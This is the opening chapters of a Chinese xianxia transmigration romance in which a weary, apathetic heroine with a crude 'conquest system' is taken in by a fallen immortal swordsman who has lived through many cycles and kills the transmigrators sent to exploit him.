《【GB】她怎么不来攻略我》
1. 第一章
俞霜先是死了。接着又穿越了。
重新获得感知以及对四肢的控制权后,她什么也没做,连眼皮都不曾抬起一次,在地上躺了整整一天。
许是老天爷都对这种纯然浪费生命的举动看不过眼,一道光强行撑开双眼,变成光屏展开,最后划成一个简陋的仿游戏面板。简陋,粗制滥造,一看就知道经费不足。
面板最上方用楷体写着“仙尊攻略系统”六个加粗大字,副标题的位置标着“商卿夜攻略进度”,后跟一条长长的百分比进度条,半透明的白色长条显示为0,看着可怜兮兮的。
剩下还有三个界面,分别为用户概览、任务界面和系统商城,以及大大咧咧标在左下角的“生命倒计时:6天23小时48分钟”。
俞霜盯着倒计时的分钟栏从48分钟跳到18分钟,最后勉为其难地抬抬手指,点开任务界面。
任务界面展开后,光屏中央浮现出一本闪着金光的书,封皮上龙飞凤舞写着几个大字:《仙尊堕魔后》,下面配套任务一览。俞霜翻开《仙尊堕魔后》,随意滑了几页,再配上目前还是灰色完成度的任务栏,大概对这系统要自己做的事情有了个理解。
简单来说,就是通过完成系统派发的任务,获得仙尊商卿夜的好感,解锁商城,换取生命值。好感度达到百分之百“至死不渝”后,她这个穿越重生的异世之魂,才能不受限制地存在下去。
原著故事发生在名为莲华域的修真世界,正道第一大派弈星宗寂雪仙尊商卿夜一朝堕魔,惨遭亵渎,被各路人马开发身体、侮弄羞辱,最后变成只为欲/情而存在的玩具。
俞霜眨眨眼,饶是她处于古井无波,死人微活的状态,眼睛也觉得有些不适。她正想关掉原著,余光扫到任务栏最上方的注释,又稍稍提起了兴趣。
剧情并未按照原著那般发展,想要侮辱商卿夜的,都尽数被这位前·第一剑道仙尊戮了大好头颅,有些还被炸成飞灰,彻底化为尘埃。
为什么叫前第一仙尊?因为现在的故事主角不肯按安排好的路线走,甚至连正常恋爱都不肯谈,悍然堕魔,杀人如麻。无法,世界意志只好呼叫外援,派资深老道的穿越者前来攻略。
一开始尽数是纯爱快穿分支的男性穿越者,但哪怕用上超出修真范围的能力,能达成的最好结果也不过是与商卿夜同归于尽,至于更亲密的肢体接触嘛,那是一根指头都碰不到人家。
再换言情分支攻略者,一样折戟沉沙,最多死相完整一点。
召唤穿越者、重启轮回是需要能量的,攻略者也需控制在一定数量内,否则彼此无法合作,反而互相竞争倾轧,不知被商卿夜反利用多少次。到现在,剩下的一点点不多的力量,除却召唤资深攻略人士,世界意志死马当活马医,把俞霜这种只是纯粹死掉、毫无攻略经验的人也拉来充数。
虽然只是充数,但俞霜被投放的时间地点也拿捏得十分得当:商卿夜剿魔时惨遭同门偷袭,堕于魔境万骨窟,被魔气侵染,不幸入魔。而俞霜所在,则正是群魔乱舞的万骨窟中唯一一处清净桃花源。
任务一的要求,就是让她在商卿夜心力交瘁痛苦无助之际出手相救,软言安慰,甚至连怎么做、说什么都贴心地写了指南。如果依言实行,必定能获得不低的好感值,为攻略男主打下一个良好的基础。
躺在地上的女子慢慢按灭系统。
按照小说设定,莲华域有荆、焦、钩吾三洲,属于正派;勾魂境与戮仙岛分数魔域,还有妖族所在的左长洲。修真者分为炼气-筑基-丹照-明婴-观虚-敛真-神破七个修为阶级,至于破碎虚空飞升,已千年无人能做到了。
一天过去,她也发现,自己所用身体能力一应与上辈子相同。但是除了从末世世界锤炼出的异能外,俞霜体内还多了一粒圆融无缺的金丹,想来世界意志还附带让对修真一无所知的她直接跳到丹照期,便于后续攻略。
俞霜敏锐地发现莲华域的混乱。一是,尽管正魔两立,但正道修士却并不修心,勾心斗角、抢占资源,杀人夺宝之事比比皆是。二来,强弱两级分化严重,尽管等级分明,却总有不合常理之人之事出现。
商卿夜在故事开始时修为已至观虚圆满,又是剑修,挑敛真修士也不无可能,站在修士顶端。但随着故事发展,又跳出各路正道天才、邪修,妖物,随随便便就能击败商卿夜,将他按在地上随意玩弄。等商卿夜自身发生不对劲后,又能随随便便击败想要强迫他的神破修士。
俞霜下意识在脑子里把事情梳理一遍,又再次闭上眼睛。
这回,无论光屏如何伸长缩小、拉近拉远,俞霜都原模原样地躺在草地中央,一动不动,任凭生命流逝。
生命值倒计时从六天很快减少到五天,四天,三天……
最后一天,系统光屏变得满目血红,任务一的完成要求从获得商卿夜20%好感度一直降到5%,简直就像苦苦挽留客人不要取消订阅的视频网站。但俞霜还是不急不躁,期间只实在受不了脸上的油腻,去附近寒潭洗了几次脸,饮过几口水。
别说,修真世界,哪怕潭水也是极清甜可口,加上是寒潭,更又一番别样冰爽。在末世挣扎,她已近十年未喝过未染怪味的净水。
倒计时最后两个小时,俞霜坐起来,
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绕着长在这一小片草木茂盛的桃花源最中央的古榕慢悠悠转了几圈,找个青草长得最茂盛柔软的地方躺下。
她打心底觉得累,倦怠不堪,就一动不愿动。之前,她不想活,又怎么都死不掉,好容易真的死了,却又活了。好在,还能等待死亡再次降临。
就在这时,变故陡生。
俞霜没想到自己迟迟不肯出这福地洞天,倒有人主动来此找她了。
她还未闭上眼睛,十丈外突然出现一抹如雾般飘飘荡荡的身影,一小片空间异样地波动,一道黑影从中跨出。
缩地成寸,只有掌握空间之力的观虚期修士才能使出这样的本事。
来者一袭黑袍,身形纤瘦却不失挺拔,袖口衣摆绣了血红龙纹,眼睑低垂,狭长眼尾在形状完美的脸庞上引出妩媚的弧度,生得有七分像狐狸。五官明明风流艳丽,却被眉目间清冷之蕴染成凛然不可侵犯的孤高出尘。
俞霜嗅到一股血味,又见男人衣摆下有一团不甚明显的深洇,顿时了然:除这书中主角商卿夜外,大概无人能有这么矛盾而又谐和的容貌气质了。
若按原著所写,商卿夜此刻正值元婴破碎道基颠覆的凄惨之时,可面前之人除却腰腹处不分明的伤口外,称得上神完气足精神奕奕。与那纤长身形对比鲜明的是极深沉的气势,仿佛阳光照在他身上,都要被那漩涡般的黑暗吞噬。
这任务果然不如说明一般好做。俞霜躺在原地,皱了皱眉。
可那——和生命走向倒计时的人有什么关系?
男人不紧不慢地上前几步,居高临下地打量着合目似睡的女子。忽然,他沉声道:“你为何不来寻我?”
俞霜睁开眼,没什么情绪地回望他:“为什么要寻你?”
商卿夜挑了挑眉,眼神定在半空。
俞霜循着他的目光,那儿有一串非她以外无人可见的生命倒计时,血淋淋的几个数字昭示她只剩30分钟可活。
所以他看得见。俞霜想。
“你不想活?”
男人不冷不热地问了一句。
俞霜右眼皮蓦地一跳,眼里终于亮起点不高兴的微光。
下一秒,她就被抓着后衣领拎了起来。
“我偏要你活。”
话音一落,任务面板的好感条突然刷亮一格,正正好好填充5%,任务一随之完成,伴随一段欢快而机械的电子提示音,生命倒计时立刻一闪一抖,加码到30天,打心底透出一股欢悦之态。
俞霜:……
姑娘眨眨眼,失望地叹口气,也不说话,眼睛再一闭,就那么在商卿夜的手里昏了过去。
2. 第二章
手里的人昏迷得太理所当然,看得商卿夜眉棱骨一跳。
操控悍厉的魔气在姑娘体内一转,他就明了此人昏迷的原因:灵力枯竭,兼之腹中太空。
简而言之,被饿昏的。
筑基之上便已辟谷,修真之人怎能被饿昏?
与天道相争,轮回整整四十九次,这样的情况,商卿夜也是首次碰到。
他已知道自己乃话本中人,被强行安上无数凄惨未来,必定要在泥潭旋涡中挣扎不休,无处逃脱,堕落成完全丧失自我的废物。簇拥在他身旁的“追求者”,大多只是将他一步步逼向绝境的推手。
思及此,商卿夜嘴角一挑:恐怕天道还不曾发现,他虽然每次都按照话本剧情走,却保留轮回的所有记忆,总能在意想不到的地方“合理”地打破命运。再加上从所谓“穿越者”腹内挖出的许多世外之世的情报,也让他对天道派来的打手套路逐渐谙熟。
他就这么一人一剑,与天斗与人斗,斗到现在,死了七七四十九次,从弱到强,如今逼得天道也病急乱投医,丢了这么个怪人过来。
他按照话本所言,在勾魂境戮魔时体贴地给背后寻机偷袭的好师弟漏了个破绽,伤重堕魔,在万骨窟呆了七天。
从思考这回又会来个什么样的天外之人、该如何欺骗利用,等到满心不耐、只想一剑杀了了事,匆匆赶来才发现,这回竟然是个压根不想”攻略“他的稀客。
思考片刻,商卿夜的眼睛又转到俞霜脸上,瞧她的模样。
这人是个……相当普通的女子。骨龄刚过二十,身量不高,黑发只及锁骨,体态颇为丰满,像个软乎乎的糯米团子,脸上也长着些水膘。大眼睛,小鼻子,睫毛短得看不清,皮肤却白。丑倒是不丑,只是修真者人人脱俗,找到他头上的攻略者们,起码皮相皆是过人,到没有和凡人一样朴素普通的。
抓了人,商卿夜就有些嫌弃这万骨窟的浊气魔音,寻思尽快带人离开。
早在五年前,他就于勾魂境瞧好了地产,有那魔道三尸教老祖好享受,此刻过去一剑挑了,接手整派势力也是轻易,正好坐实寂雪仙尊堕魔之事,一箭双雕。
三尸教老祖不过观虚初期,自然应付不了观虚圆满剑修的实力,求饶不通只好拼死施为,然而还是被商卿夜一剑扎碎元婴,又将自爆掐灭在萌芽之时,不消一日,三尸教就换了一个教主。
商卿夜披着黑袍,满身煞气,度厄剑剑身染血,纵使长了张妖丽绝艳的美人面,无人敢看,自然也就威势无边。
“这‘金屋’倒不落俗套。”
剑修嗤笑一声,迈步入了主院正屋,把手中人扔进榻里。
三尸教老祖的金屋内一应修饰皆走金碧辉煌的路数,金丝铁为主,银徵木为辅,金黄色的琉璃瓦铺在屋顶,屋内雕缕细腻,极尽奢华之能事。寝室内有一床一榻,皆是百年云顶木所铸,灵精玉璧为灯,鲛珠鲛纱作帐。
俞霜被扔在美人榻上,里头铺着昆仑玉劈丝编成的冰簟,又叠软香烟罗锦,触手温润如无物,端得是舒适软和至极。
“还不醒,要我请你么?”
半途,剑修给她喂了两颗辟谷丹,并三粒凝神聚气的周天丸,不可能再受饥饿困扰。
况且商卿夜杀人时,还溅了她半身血,此刻无论俞霜再怎么想装死,也不得不睁开眼睛。
她其实是有点想问一问商卿夜,为何非带着她走不可,目光却被檀木茶几上放的两碟茶点吸引:一碟是看不出用料为何的软皮小饼,一碟是方方正正雪白带果仁的牛乳酥,当下瞳孔就忍不住一缩,伸手要拿。
然后,俞霜的手背就被打了一下。
商卿夜阴森森地睨她一眼:“慢来,姑娘还未告诉我,究竟姓甚名何啊?”
有好吃的在面前吊着,她答得痛快:“俞霜。空中木为舟的俞,寒气所凝的霜。”
“姑娘打哪儿来?”
俞霜打量他一眼,眸子又移回奶酥,一言不发。
商卿夜只好收回压在她手背的折扇:“吃吧,饿死鬼似的。”
俞霜捏了块长得跟牛轧糖似的奶酥放进嘴,味道跟遥远记忆里的牛轧糖差不多,只是奶味更重,甜味更轻,入口脆沙,酥香满齿。
比她想象得要好吃不少。
“蓝星……公元2056年。”她的嗓音细软,沙哑,像是被磨坏了或者烧坏了,又好似许久没开过口,搜寻词语很是吃力。“你听过么?”
“蓝星倒是听过。”商卿夜又看了一眼贴在她眼角余光的生命倒计时。
“你这‘系统’倒比我见过的都要简陋。”
“可能我只是个‘添头’吧。”
俞霜吃完一碟三块的奶酥,又拈起一枚圆形软饼,放入口中,惊喜发现小饼外皮软糯,里面填着她吃不出来的果馅,吃完身上甚是清爽,恍若被清风通了一遍滞涩的脉络。
商卿夜没再多问什么,俞霜吃完饼,又喝了两杯灵茶,擦干净手上的碎屑,正色问:“你带我来这里,为什么?”
商卿夜不答反问:“姑娘可看过名为《仙尊堕魔后》的话本?”
“翻过几页。”
“那便该明白,我与话本之人截然不同。故事荒谬,我却非荒谬之人,自然不甘被天道摆弄。我愿意为姑娘续命,此外,功法修为,法器秘宝,应有尽有。”
俞霜静静地听着,商卿夜试着从她脸上看出什么,可连他这种自认阅遍人心的老手,也看不懂女子心中可能的情绪。
“……万望姑娘助我脱离命途束缚。”
他的声音本来就清朗悦耳,此刻用这种又柔软,又带着点安抚意味的语气恳求,倒甚是蛊惑人心。
俞霜脸上划过一丝迷茫。
“我读过故事,你未做过什么错事,却无辜受害。”
商卿夜眼底闪过既厌且憎的冷意,面上却笑得温柔无奈:“正是如此。”
“你是好人,你向我寻求帮助。”俞霜像在自言自语。“那我……我必须帮你,对么?对的。那我帮你。该
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怎么帮?”
商卿夜微微皱眉,觉得她的说法有些奇怪,但并未深究。说来这也是他第一次碰到不将他视作工具、能好好沟通的穿越者,不管是真是假,起码有一个针对“系统”的突破口。
除却自己堕魔,以及后面几个剧情大节点固定不变外,天道会松散地派一些穿越者过来,或改动原有的剧情线路,给他增添麻烦。俞霜有“系统”,如果能弄清楚系统都会派发什么任务,就能提前安排,借力打力。
再不济,也方便他深入研究俞霜的系统与几个“主角”的不同之处。
他将自己的思考半遮半掩地说了,又把遭遇讲得凄惨几分,要求俞霜配合他一起行动。
这要求甚是麻烦无礼,便是被拒绝,商卿夜还有备用的几种劝法,不料俞霜一口答应。
等了半刻,商卿夜也未等到来自俞霜的要求。
“俞姑娘愿意帮我,不知想要什么回报呢?”无奈,他只好主动询问。
“回报?”她愕然瞪大双眼,嗓音都提高了。“帮助好人,帮助必须该帮助的人,不可以索要回报的!”
商卿夜被她一句话堵在胸口,面具似的笑都淡了几分,心下是真的好奇:“是谁这么告诉姑娘的?”
俞霜愣了一下,双手抱住头,身体开始发抖:“谁……你说谁……不知道啊,大家都这么说……大家都是好人,不可以要回报,不可以的……”
“抱歉,我不问了。”商卿夜用袍袖裹了手,握住俞霜的手腕。“俞姑娘可要洗漱?我去命人找两个手巧的侍女过来。”
她抖了一会儿,慢慢松开自己,大大的眼睛里含着一抹水意,瞅着他点点头。
眼下不算一个继续沟通了解的好时机,再怎么说,也得让俞霜换下身上有别莲华域的衣物,适应环境,打坐休息一番才是。
商卿夜本来就是个思虑颇多又事无巨细的性子,轮回再多,也改变不了本性,脑子里念着琐事,面上却不带出来,只笑着让俞霜宽心休息,明日再谈。
一整个寝室都归了俞霜,剑修即将踏出屋内时,身后传来一道细而哑的问询。
“那个果馅儿饼……”
声音忽然一弱,商卿夜不解扭头:“俞姑娘还想要茶点?”
俞霜慢而犹疑地点点头:“想再吃一盘,会不会太多了?不吃也可以的。”
这算什么话。
怎么说呢,商卿夜自诩见絮了怪人,俞霜也算怪得特别奇怪一类。
“我去唤人过来,把三尸老祖平日爱吃爱喝的都上一遍,姑娘看着选喜欢的,命他们记下,想用就随时要,可好?”
剑修自己都未发现,他从一开始的防备、装相,语气一变再变,现在已经带了些哄小孩的意思在里面。
俞霜听了,就又怔住了。商卿夜就当她答应,抬步出去叫人。
“……谢谢。”
很轻很薄的一声,伴随着更弱的一句话音。
“商卿夜,你真的是个很好的好人。”
3. 第三章
俞霜到底是个怎样的人。
这个问题一直藏在商卿夜潜意识里,一旦有思考的闲暇就会冒出来。
相处半月有余,俞霜特别配合他的一应请求,把系统面板里能告诉他的信息都坦然说出。除却必须解锁才能看到内容概括的后续任务,商卿夜已把“仙尊攻略系统”翻了个底儿掉。
但是呢,关于俞霜本人,他只知道她是从蓝星来的,那方世界已变成“末世”,人都成了活死人,还有什么“病毒”、“邪物”等,剩下的只能躲躲藏藏,活得十分艰难。
末世末世,既然带了一个“末”,听着也不是什么好地方。商卿夜虽不甚解,但莲华域历史上也经历过两次极危险的灵气枯竭期,无比接近修真者式微的“末法时代”,好在后有大能聚阵,群贤携手共渡难关,终将灵气挽救回来。
俞霜是水木双灵根,资质不好不坏,还从末世带了一个能力,具体是什么,他并不知道。俞霜说不要回报,是真的不要回报。平常只好吃一口甜食,剑修不找她,她就躲在金屋里睡觉,不打坐,也不修炼,实在看不出藏着什么坏心。
商卿夜见过一次,这孩子睡觉姿势居然是板鸭趴,后背向上,脑袋埋在被子里,看得人直摇头。
剑修叹气:“姑娘倒也熟悉熟悉灵力,再过两日,魔尊令狐翊怕是要寻来了。他为人阴险狡诈,毒计频出,姑娘这样,连自身丹照修为都运用不了,便有我在旁,令狐翊好歹也是敛真修士,若你……唉,丹照对上敛真,再怎么都无胜算,我护着你便罢了。”
俞霜躺在床上,双手捂耳,被唠叨得两眼呆滞,连桌上的桃花糕和酒腌杏脯都不甜了。
寂雪仙尊……是这样的性格吗?书中所写,仙尊清冷孤傲,高不可攀,寡言少语,便是被折磨得狠了,也是极少出声,所以总被蓄意蹉磨,就为听一声哀泣。
清冷孤傲,寡言少语……?
她用力翻了个身,差点跌下榻,被商卿夜一把接住。俞霜埋在他怀里,嗅到一股清清凉凉带着点甜意果香的气息。
这几日,为了开启任务,顺道续命,像牵手摸头拥抱这类不过分的肢体接触两人可做了不少。为了这事,商卿夜往她耳朵里灌了好些大道理,几次三番解释……但她分明觉着,这人是故意的。
为什么呢?他要把她往哪里引呢?
为……不想思考……
“不想……”
“不想什么?”
商卿夜已很习惯托着这没骨头的俞姑娘,闻言低头,轻声问道。
“不想修炼,不想努力……”她扒着他的衣襟,含含糊糊地嘟囔。“求你放过我吧,我累……”
“也罢。”剑修把人扶正,微微一叹。“累便睡吧。”
说到勾魂境万阴宫魔尊令狐翊,也是天道派来的老演员,从第十一次剧情轮回开始,人就被穿成了筛子。
此人原本就是个道德败坏毫无人性的魔修,偏偏长了张极清润正气的脸,原著仙尊便是着了这副好样貌的道。负伤在身,轻信于人,被趁火打劫破了身,彻底跌入泥泞。
剑修:跌不跌泥泞我不知道,但令狐翊每次死在他剑下的方式,倒是比泥泞要惨上几分。
这回,该怎么让令狐翊去世呢?
想和令狐翊见面,其实是不需怎么费心的,不是哪个攻略者都跟俞霜似的就地躺平一动不动。万阴宫魔尊其下能人异士何其之多,寻一个躲在小门小派三尸教的负伤仙尊还是小菜一碟。
再说,商卿夜也没刻意隐瞒自己行踪。
三日后,剑修一剑荡平三尸教在的峰头,顺带笑纳三尸老祖的金屋法宝。
原著仙尊负伤堕魔,本该道基不稳,正好勾魂境有一处囚幽秘境即将开启,其中有一味千年碧古竹竹液恰好能压制魔气,恢复道基,商卿夜现在自然也是要往秘境的方向去。
度厄剑一闪,剑身扩大,商卿夜拎着俞霜的后衣领,把人放在身前站好。
她今天穿了一袭方便活动的银丝锦袍,因为剑修说要御剑飞行,怕自己吹风受寒,又披了件鹤羽大氅,裹成个粽子,战战兢兢地踩在剑上。
这么个毛团顶在眼前,商卿夜真是怎么看怎么不顺眼:“若姑娘听我的话,熟悉灵力运转,好歹拾起筑基修为,又怎会扛不住这一点点冷风?眼下离那囚幽秘境还有两三个时辰,择日不如撞日,我予你一份心法,趁机练习运转……”
俞霜大大吸了一口气,鼓起勇气转了个身,双臂环向商卿夜窄腰:“可我真的怕,现在你教我,也学不会。”
“怕?”商卿夜不解,“怕什么?”
“我,我恐高……”俞霜声音里染上了哭腔。
剑修:……
“你能不能给我讲讲秘境里的事?我听住了,也就不怕了。”俞霜小声问。
可别让她再练什么功法了。
秘境里的事?
原著仙尊与令狐翊在秘境相遇,令狐翊假意助他取药,却趁他闭关疗伤时种了一团淫火于仙尊丹田……
想着想着,强烈无比的杀气顺着精致眉眼上浮,商卿夜一把捏碎了腰间的西海月莲玉佩。
身前俞霜被那股无形无状的冷意吓得哼唧一声,又开始簌簌地发抖。
“俞姑娘这性子,以后可怎么办呢?”
商卿夜轻轻一叹,敛了周身煞气。不是他自夸,择道剑修之人,向来骨头比别人更硬,只要手里度厄剑还在,他敢怼天怼地,字典里就没一个“怕”。
“也不是,也不是我自己要来这里的呀……”俞霜抽了抽鼻子。
是了,她跟旁的攻略者不太一样。
片刻后,剑修放慢御剑速度,有点别扭地用灵力包住身前毛团,伴一句解释:“如此,你便不必担忧自己会掉下去了。”
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两人遇到令狐翊,是抵达碧古竹林的第三日。
商卿夜本来觉得俞霜不上进又娇气,没想到她在荒郊野外倒也十分适应——不添乱,不说话,在哪都能团起来睡,活似个在角落慢慢发霉的白蘑菇。
一声不吭,瞧着怪可怜的。剑修不自觉给她安排起各色吃用,又在林间做了个吊床,赶人上去睡觉……仿佛回到百年前照顾刚入派的师弟徒弟,还真是一种奇妙的体验。
不过……但凡长得稍好一点的师门中人,天道都必然安排偷偷暗害他的背叛戏码。早不知多少年起,商卿夜就再未真心实意地照顾过什么人了。
敛真修士的气机灵识绵延到竹林深处时,俞霜正在啃一块柿饼。柿饼刚做好没多久就被放入商卿夜的芥子空间里,此刻还保留着完美的食用状态。
拳头大的柿饼饱满膨胀,薄薄外皮是醉人的橘红落霞色,圆胖胖,鼓囊囊,一咬下去先触及糯香甜软的外层柿肉,到里面,就变成半流心状的蜜味果泥。
这柿饼好说也在芥子戒里放了百十来年,递给她时,剑修都颇为心虚。俞霜不在乎,捧着个柿饼,好似在吃什么珍馐国宴,吃到最后一口,恰好被令狐翊的气机波及到,一口果泥没咽下去全卡在嗓子里,咳了个天翻地覆。
“什么人?”
缩地成寸,一个蓝衣男子自半空迈步而出。
令狐翊实在是个……很俊秀的男人。
原著曾写【令狐翊剑眉鹰目,气概浩然,天神一般俊美,又兼王公皇族的贵气。连那些合欢宗魔道女修被他的一双星眸扫过,也无不面颊发烫,心跳加快,连呼吸都有几分不稳了。】要俞霜来看,倒也没怎么夸大这副好皮相。
令狐翊的眼睛先是落在商卿夜身上,微微一亮,流露出一丝“果然如此”与志在必得的傲慢,立刻又回复成谦逊正气。这瞬间变化极难捕捉,但一直观察他的剑修绝不会错过。
“不知道友……”
话音未落,好容易从第一轮咳嗽中回复的俞霜又被灵泉水呛了一下,一口水狂喷而出,最远的甚至落到令狐翊乌黑发亮的靴面。
剑修:……
他现在也想喷水了,不过一定是笑得。
魔尊眼底闪过一丝戾气,面上却洒然一笑:“在下令狐翊,玄微宗宗主赤霄首徒,早慕寂雪仙尊清名。突闻弈星宗内传出谣言,道仙尊叛出宗门,堕入魔教,在下是绝然不信的,遂使尽手段,总算寻到仙尊。不过,这位小友是?”
商卿夜并未马上回话,而是先看了一眼俞霜到底怎么回事,才转头回视:“我没有叛出宗门。”
几句解释概括说完,他指了指俞霜:“多亏俞姑娘救了我,不然我怕是也要成为万骨窟的一抔枯骨了。”
令狐翊的表情从惊讶,到担忧,再到同仇敌忾,看似应对得当,殊不知,他心底其实已卷起惊涛骇浪。
要知他作为资深攻略者,已完成不下十个攻略任务,哪怕修真世界属于高危等级,闯过星际背景的令狐翊又如何会怕?况且接下这SS级任务时,他已知晓剧情绝不会按照原著那般发展,做了完全的心理准备。
可这才到第一个剧情大节点,他比商卿夜高了一个大境界,对方更是道基不稳、处于碎婴边缘,他这心里怎么一阵阵抽冷,就是静不
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下来?
令狐翊的目光移向俞霜:商卿夜大概自己都没觉察到,他此刻正呈一个保护的姿势,牢牢护在女子身前。
不过相差几日,那攻略者竟已让男主产生那么大的信任?
商卿夜朝着白衣魔尊微微一笑,侬丽含媚的狐狸眼轻轻舒展,当如春花绽艳,秋水风流,一下便冲散砌冰堆雪似的气质。
令狐翊心神骤荡,通体一酥,脑海里重新闪回接下任务时,对着任务目标的脸庞身段尽情施为的幻想……
商卿夜握上剑柄,心下轻哂。
这样的人,才是最常见,也是应对起来越来越简单的。
话不投机,半句嫌多。剑修敛眉,一任柔情魅色消失无弥,等令狐翊回神之时,度厄剑出鞘,通体剑意已直冲云霄!
俞霜发现,握着度厄剑的时候,商卿夜才露出一丝紧绷下的快乐,以及一种奇异的、残酷的满足。
一瞬,那双浓深黑眸中央绽放出一点奇异的光亮,似刺目的血色,让人窥探到他内心峥嵘黑暗的一角。
扭曲的光线与阴影,甚至压下那张靡丽绝艳的面孔,使其化为深邃厚重的孤寂。
“……寂雪……尊。”俞霜嘴唇张了又合,极轻极弱地唤了一声。
商卿夜的剑,极快,又极慢。他的剑道取寂灭意,一旦出鞘,饮月吞晓,劫古灭今,不闻生机。
剑啸若龙吟,却极苍老,极叹惋,极厚重。剑光似雪,似雾,似霜,剑影纷飞,转瞬静敛一束,迅不可察。
剑尖逼至令狐翊鼻尖时,魔尊才反应过来,霎时汗透重衣:“系统,快给我用替命宝具!”
人体被从中剖成两半,令狐翊得以从不可能躲开的一剑中躲开。自救本能早就盖过直面挑战的勇气,他下意识移到靠近俞霜的位置,伸手抓向看起来不具灵力的女子,第一反应便是要挟了人质威胁求生!
时间在此刻静止。
令狐翊脸上的扭曲、恐惧,不可思议,以及挣扎求生时的丑态毕露无疑,与之形成鲜明对比的,是俞霜彻头彻尾的无动于衷。
商卿夜微微眯起眼眸,揽着俞霜的腰,左手一揽,一送,俞霜便被推至安全地带。
令狐翊无法,甚至不知人是如何躲出去的,只好祭出本命法宝,着力反击。
剑修嘲然一笑,度厄再出。剑身翻转,明如一泓秋水。他的剑一快,再快,锐势无匹,无可阻挡,变式特异脱奇,匪夷所思。寂灭剑意所及之处,星河摇动,金乌垂首,若木滞骨,生息难闻。
令狐翊花招出尽,本命法器节节尽碎,阴计毒招来不及用出,就被冷寂剑气全数荡平。
度厄剑刺入令狐翊元婴一刻,攻略者的神情终于从傲慢转为不可置信的极致惊恐。
商卿夜知道,有些人死了,或许仍能在别的地方活,可看令狐翊的模样,怕是此命一条,不会再有。
而剑修自始至终,也没将此人放在眼里。
转头回望,俞霜站在原地,直愣愣地瞅着他,黑白分明的大眼睛忽闪忽闪,极亮极粲,灿如星子,里面藏着些极纯粹的钦佩与惊叹。
剑修忽然觉得有些不自在,度厄剑一重,整个贯穿令狐翊的元婴,使人嘴里喷出更多心头血。
执剑五百载,再加四十九次轮回,境界不可控,剑意却一日比一日更加圆浑完满。无论天道如何妄图将他引入万丈深渊,剑心不破,剑道便在,因而他极难被剑以外的事物影响。
此刻,商卿夜居然在想一个与剑、与天道、与令狐翊都无关的问题——
他好似从没见俞霜笑过。
“你想说什么?”
在一种说不清道不明的朦胧心情中,商卿夜问出一句话。
“说……我没说话啊?”俞霜小小声反问。
“方才,你唤了我的尊号?”
俞霜怔住了,面上划过一丝难以置信,又转为商卿夜看不懂的情绪。
惊讶、惊喜,还是惊慌?他不明白。
等了片刻,商卿夜以为她不会再说什么,收剑入鞘时,听见一道微弱的声音。
“你,还有你的剑……都特别特别好。该叫你……寂雪剑尊才对。”
商卿夜沉默了许久,久到俞霜都开始害怕了,才走过去,抚了抚女子的发心:“抱歉,不想吓你的。”
“我说错了什么吗?”她迷茫地问。
“非也,倒是说对了。”剑修从芥子戒中抽出一件毛绒大氅,裹住俞霜的肩膀。
说对了……轮回四十九次,从未有人在意过的,商卿夜。
4. 第四章
杀完人后的夜晚好似格外清幽寂寥。
商卿夜从不以杀人为乐。择道寂灭,其初衷本是在一孤岛观月,孤岛渺无人烟,唯有月光溶溶。海无边际,只能听到潮水涌来,撞碎在岸,周而复始,冷酷而规律。宇宙无穷,至清至寥,只他一人一剑。
“……遂悟’寂灭‘之意。”
俞霜听得连瞳仁都放大了点,颇为敬畏地伸手摸了摸度厄剑的漆木缠龙纹剑鞘:“只是看着月亮和潮水,就能悟道,剑尊真是厉害呀。”
剑修轻哂,往篝火中扔了几段干树枝,让火燃得更旺了点。
他也说不清自己为何同俞霜谈起久远的悟道回忆。夺取生命,已不能再带给他多少触动,一遍又一遍杀死穿越者,也逐渐变成一种麻木而机械、不掺感情的举动。
练剑,顿悟,修炼,求证大道,不知何时,仿佛在轮回中一点点扭曲了原初的模样。
俞霜伸手贴近,被火烤得舒适地眯起双眼。商卿夜握住一段千年碧古竹,苍白手背微微鼓起青筋,随着清浅一声“噼啪”,竹节被从中拗断,露出里面一团清亮碧绿的稠液。
“碧古竹竹髓有静心清体之效,能助你感受灵气,催发灵力运转,增进修为。”他伸手递过去,“……是甜的。”
俞霜眼睛顿时一亮,迫不及待地接过去,伸出舌头飞快舔了舔。竹髓尝起来是一种凉丝丝的琼浆,表面呈凝固状,一抿即化,尝起来像是艾草和薄荷交融后又与蜜糖搅成一团,咽进胃里,就化成一股初秋凉爽的西南风。
“好吃!”她不自觉上下点头肯定自己,把另一半塞回剑修手中:“你也吃。”
商卿夜一怔:“不必给我,这竹髓液对观虚期修士无用。”
俞霜停下埋头苦吃的动作:“可这……很甜诶,它是甜的,人人都喜欢吃甜的,我也是,特别喜欢。”
剑修手握竹节,底部还染着女子手心的暖意,摸着竟觉得有些微烫:“……既然喜欢,为何分我一半,这样又少了许多。”
“甜是很好很好的东西。我觉得……剑尊今天要吃好的东西。”她垂下眼,珍惜地摸着柔滑似玉的竹节:“吃你这么多甜食,我也没帮上什么忙,真对不起。”
这算什么说法。
商卿夜也垂下眼,胸腔里某处,不知怎么,猛地抽疼了一下。
约莫是那令狐翊的魔气?
剑修并没有将竹节还给她,他虽孤僻,却也懂一个道理:当别人真心分享自己喜欢而珍惜的东西,比起反复推拒,还是欣然接受更为得当。
他饮下一口竹髓液,果然看见俞霜眼里闪过愉快轻松之情。
“悟道修心时,我曾封闭修为,去凡人界体会红尘百态。”商卿夜忽道。“于闹市支一方布幡,扮成那算命的半仙,打出名号后,无论是市井妇人、书生举子,还是富户贵族,信命的,不信命的,对天理命途,皆心生畏惧。”
“但我没有畏。这可能就是我为什么一直在轮回的原因吧。”
他的剑,说不定连天道都能屠戮。
剑修回想起他明悟这一事实时,心底那种奇异的、冲着自己而去的骇然,连头皮都在发麻。
“……糖葫芦。”
旁边传来细细的、沙哑的声音。
“什么?”商卿夜转头。
“你在凡人界,有没有去吃糖葫芦呀?桂花酒酿小丸子呢?”俞霜认真问。
剑修:……
“不曾。”
俞霜撅起嘴:“连糖葫芦都没吃过,也不算什么大不了的。”
“你这孩子怎么就知道吃?”商卿夜一掌扣住俞霜的脑壳,用力揉了揉顶在上面的两个团子。
她的头发太短,梳不成什么发髻,只能草草扎两个团子,束成丱发罢了。
俞霜把最后一口竹髓喝掉,顶开剑修的手,直直地盯着他:“我什么也不懂,什么也不想懂,只要能帮上你的忙,就好了。”
商卿夜瞧着她清凌凌的眼睛,似两汪坦然平和的冷泉,被暖融融的火光映着,也清寒不减。
他心里便又冒出那种被猫爪抓挠似的痛痒。
“待魔境事了,我定带你去凡人界。”
剑修语气低沉而郑重。
“好呀。”俞霜茫然点头。
他不知不觉软了语调:“去吃糖葫芦,还有桂花酒酿,可好?”
她便很高兴地,抱着双膝晃了晃:“太好啦,那,我们还要在竹林待多久呢?”
